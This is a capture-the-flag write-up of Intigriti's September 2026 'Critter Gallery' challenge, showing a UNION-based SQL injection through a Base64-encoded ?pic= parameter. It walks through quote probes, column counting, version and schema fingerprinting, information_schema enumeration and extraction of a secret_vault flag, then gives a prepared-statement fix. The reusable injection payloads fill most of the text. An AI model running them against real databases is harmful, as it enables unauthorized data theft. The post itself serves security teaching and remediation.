Intigriti 0926 Critter Gallery challenge cover
web
Oct 2, 20268 min read

Intigriti 0926: SQL Injection UNION Attack in Critter Gallery (September 2026)

A walkthrough of Intigriti’s 0926 challenge, “Critter Gallery,” showing a UNION-based SQL injection leading to secret_vault flag extraction

Wojtek
Wojtek
Offensive Security Engineer

TL;DR

Intigriti’s 0926 challenge - Critter Gallery - is a single-view animal gallery that selects a critter through a Base64-encoded ?pic= parameter. The artwork lookup and the description lookup apply different comparison semantics to the same input: PHP performs a case-sensitive exact match for the art, while MySQL performs a case-insensitive collation match for the description. The description branch concatenates the decoded value straight into a single-quoted SQL string with no escaping. The result is a UNION-based SQL injection that reads the contents of a secret_vault table.

Introduction

Critter Gallery is a single-view application: each request renders one animal tile together with a short description. The critter to display is selected through a single query parameter, ?pic=, whose value is Base64-encoded on the client before the request is sent.

GET /?pic=Zm94 → base64 decode → fox

The tile’s artwork is derived from the decoded name. The descriptive text beneath it, however, is not static - it is retrieved from a backend database keyed on that same decoded value. That distinction is the important one: the parameter is not merely selecting a local asset, it is participating in a data-store lookup. User-controlled input therefore reaches the database, and the client-side Base64 layer is transport encoding, not a security control.

Case-sensitive art, case-insensitive text

The decoded pic value is consumed by two independent lookups - image selection and description retrieval - each applying its own comparison rules.

Selecting the fox tile sends the lowercase value:

?pic=Zm94 → fox
Description: "The red fox is a clever, highly adaptable hunter."

Re-encoding the same word in uppercase and resubmitting:

?pic=Rk9Y → FOX

changes the rendered artwork but returns the identical description. The two lookups apply different comparison semantics to the same input:

  • the artwork lookup is case-sensitive - an exact match, consistent with a PHP-side comparison (=== or an exact array-key lookup);
  • the description lookup is case-insensitive - fox and FOX resolve to the same row, which is how MySQL compares strings by default.

Probing for injection

The goal of the first probes is to disturb the query’s syntax rather than its data - to establish whether the input can alter the statement itself. A quote/escape probe set, each value Base64-encoded for transport:

PayloadBase64 (?pic=)Response
'Jw==blank page (zero-length response)
\XA==blank page (zero-length response)
''Jyc=renders normally
\\XFw=renders normally

The pattern is diagnostic:

  • A single ' breaks the response: it leaves an unbalanced quote, terminating the string literal early and producing a malformed statement.
  • A doubled '' renders normally: in SQL a doubled single quote is an escaped literal quote, so the string stays balanced and the statement remains valid.
  • A single \ also breaks the response: MySQL, with its default NO_BACKSLASH_ESCAPES mode disabled, treats the backslash as an escape character, so \' consumes the intended closing quote and again leaves the literal open.
  • A doubled \\ renders normally: it collapses to a single literal backslash, leaving the surrounding quotes intact.

Two conclusions follow. First, the input lands inside a single-quoted string literal in the SQL statement. Second, because a lone quote reaches the parser unescaped and a backslash is honoured as an escape character, the value is being concatenated into the query as raw text - no parameterization, no input encoding. That is a textbook string-concatenation injection point. Note that no database error string was required to reach this conclusion: the zero-length response is itself the fingerprint.

Confirming the injection

Breaking the query is not the same as confirming that the query’s result is reflected back to the client. To prove output control, a tautology that widens the WHERE clause to match every row:

' OR 1=1 --'

Base64-encoded for the parameter:

?pic=JyBPUiAxPTEgLS0n

Inserted into the description lookup, the statement resolves to the equivalent of:

SELECT description FROM animals WHERE name = '' OR 1=1 -- -'

The leading quote closes the (now empty) name comparison, OR 1=1 makes the predicate universally true, and -- comments out the trailing quote the application appends. The description panel returns every row in the table instead of a single critter’s text - confirming both that the injection executes and that its result set is rendered back into the page. The output channel is now usable for extraction.

Confirming a UNION-based vector

The tautology proved that the injection executes and that the result set reflects into the page, but not that the injection point supports a UNION SELECT - the construct needed to graft an attacker-controlled query onto the original. A UNION requires the injected SELECT to return exactly as many columns as the original, so the first task is to recover that column count.

ORDER BY <ordinal> is the cleanest probe: it sorts by the n-th selected column and errors if no such column exists, so it walks the column count without needing a valid UNION yet.

PayloadBase64 (?pic=)Response
' ORDER BY 1-- -JyBPUkRFUiBCWSAxLS0gLQ==renders normally
' ORDER BY 2-- -JyBPUkRFUiBCWSAyLS0gLQ==blank page (error)

ORDER BY 1 is valid; ORDER BY 2 raises Unknown column ‘2’ in ‘order clause’, surfacing as the same zero-length response seen earlier. The original query therefore selects a single column - consistent with SELECT description FROM animals WHERE name = '<input>'.

With the column count known, a single-column UNION should both parse and surface its injected value in the description panel. Rather than prove those two properties with separate probes, one payload settles both - a quoted string literal used as a marker:

PayloadBase64 (?pic=)Response
' UNION SELECT 'NULL'-- -JyBVTklPTiBTRUxFQ1QgJ05VTEwnLS0gLQ==description element shows NULL

The description box returns the literal text NULL. The quoting is deliberate: the payload injects the string 'NULL', not the SQL NULL keyword, so the rendered output is reflected data rather than an empty null cell - exactly what a reflection sink must demonstrate.

That establishes a complete UNION-based read primitive: a single injected column whose value is returned verbatim to the client. Any scalar expression substituted for 'NULL' - a built-in function, a subquery, an aggregate over another table - surfaces the same way. The remaining work is purely enumeration: fingerprint the backend, then read the target table.

Database fingerprinting

' UNION SELECT @@version -- -

which corresponds to:

?pic=JyBVTklPTiBTRUxFQ1QgQEB2ZXJzaW9uIC0tIC0=

→ MySQL 8.0.46.

Because the reflection sink is a single column, the efficient move is to pack several context values into one string and read them in a single request. CONCAT_WS() joins them with a chosen separator, and nesting a CONCAT('label=',…) per value keeps the output self-describing - here, version, schema, and login account, in that order:

' UNION SELECT CONCAT_WS(' :: ',CONCAT('version=',version()),CONCAT('schema=',database()),CONCAT('user=',user()))-- -

→

?pic=JyBVTklPTiBTRUxFQ1QgQ09OQ0FUX1dTKCcgOjogJyxDT05DQVQoJ3ZlcnNpb249Jyx2ZXJzaW9uKCkpLENPTkNBVCgnc2NoZW1hPScsZGF0YWJhc2UoKSksQ09OQ0FUKCd1c2VyPScsdXNlcigpKSktLSAt

The description panel returns all of the details:

version=8.0.46 :: schema=critter_gallery :: user=gallery@10.18.58.82
  • version() corroborates the engine;
  • database() gives the schema to enumerate (critter_gallery);
  • user() exposes the account the application connects to the database with

Enumerating the schema

With a single-column read primitive confirmed and the target schema known (critter_gallery), the next step is to list its tables from information_schema.tables. The query filters on table_schema=database() to return only the critter_gallery tables:

' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()-- -

→

?pic=JyBVTklPTiBTRUxFQ1QgR1JPVVBfQ09OQ0FUKHRhYmxlX25hbWUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKS0tIC0=

→ animals,secret_vault

Mapping the columns

Table names in hand, the same information_schema technique against columns maps every column in the schema, with its data type, in one request:

' UNION SELECT GROUP_CONCAT(table_name,'.',column_name,' (',data_type,')' SEPARATOR ' | ') FROM information_schema.columns WHERE table_schema=database()-- -

→

?pic=JyBVTklPTiBTRUxFQ1QgR1JPVVBfQ09OQ0FUKHRhYmxlX25hbWUsJy4nLGNvbHVtbl9uYW1lLCcgKCcsZGF0YV90eXBlLCcpJyBTRVBBUkFUT1IgJyB8ICcpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCktLSAt

animals.id (int) | animals.name (varchar) | animals.description (varchar) | secret_vault.id (int) | secret_vault.note (varchar)

Two things stand out. The vault’s structure is now known. secret_vault has two columns, id and note. And animals holds only id, name, and description: there is no column for the ASCII art. That absence is the schema-level proof of the two-path behaviour observed at the start. The art cannot be coming from MySQL because it is not stored there - it is served entirely PHP-side from a static, case-sensitive map, while only description is read from the database under the case-insensitive collation. The comparison desync isn’t incidental; the data model guarantees it.

Reading the flag

Having the columns verified, we extract the flag with a single query:

' UNION SELECT GROUP_CONCAT(id,':',note SEPARATOR ' | ') FROM secret_vault-- -

→

?pic=JyBVTklPTiBTRUxFQ1QgR1JPVVBfQ09OQ0FUKGlkLCc6Jyxub3RlIFNFUEFSQVRPUiAnIHwgJykgRlJPTSBzZWNyZXRfdmF1bHQtLSAt

1:INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}

What went wrong (root cause)

The vulnerability is string concatenation instead of parameterization. The decoded ?pic= value is spliced directly into a single-quoted SQL literal. A single quote terminates the string, and everything after it is parsed as SQL.

Remediation

Parameterize the query. Use prepared statements with bound parameters for the description lookup. The input is then passed as data, never parsed as SQL, which closes the injection regardless of encoding or input source:

// ?pic= is base64-encoded on the client
$name = base64_decode($_GET['pic'] ?? '', true);
if ($name === false) {
http_response_code(400);
exit;
}
// Parameterized: the value is bound, never concatenated into SQL
$stmt = $pdo->prepare('SELECT description FROM animals WHERE name = ?');
$stmt->execute([$name]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
echo $row ? htmlspecialchars($row['description'], ENT_QUOTES, 'UTF-8') : 'Unknown critter';

The query text is fixed by prepare() before the value is attached, so a ' or a full UNION payload in $name is handled as a literal string compared against the name column rather than as SQL. The break-out this challenge relied on no longer exists.

Wojtek
Written by

Wojtek

Offensive Security Engineer

Ever since I was young, I’ve been fascinated by how computers work. Today I’m a security engineer who finds and exploits vulnerabilities here and there. I specialize in application security and AI security, breaking modern apps and the LLM-powered systems built on top of them.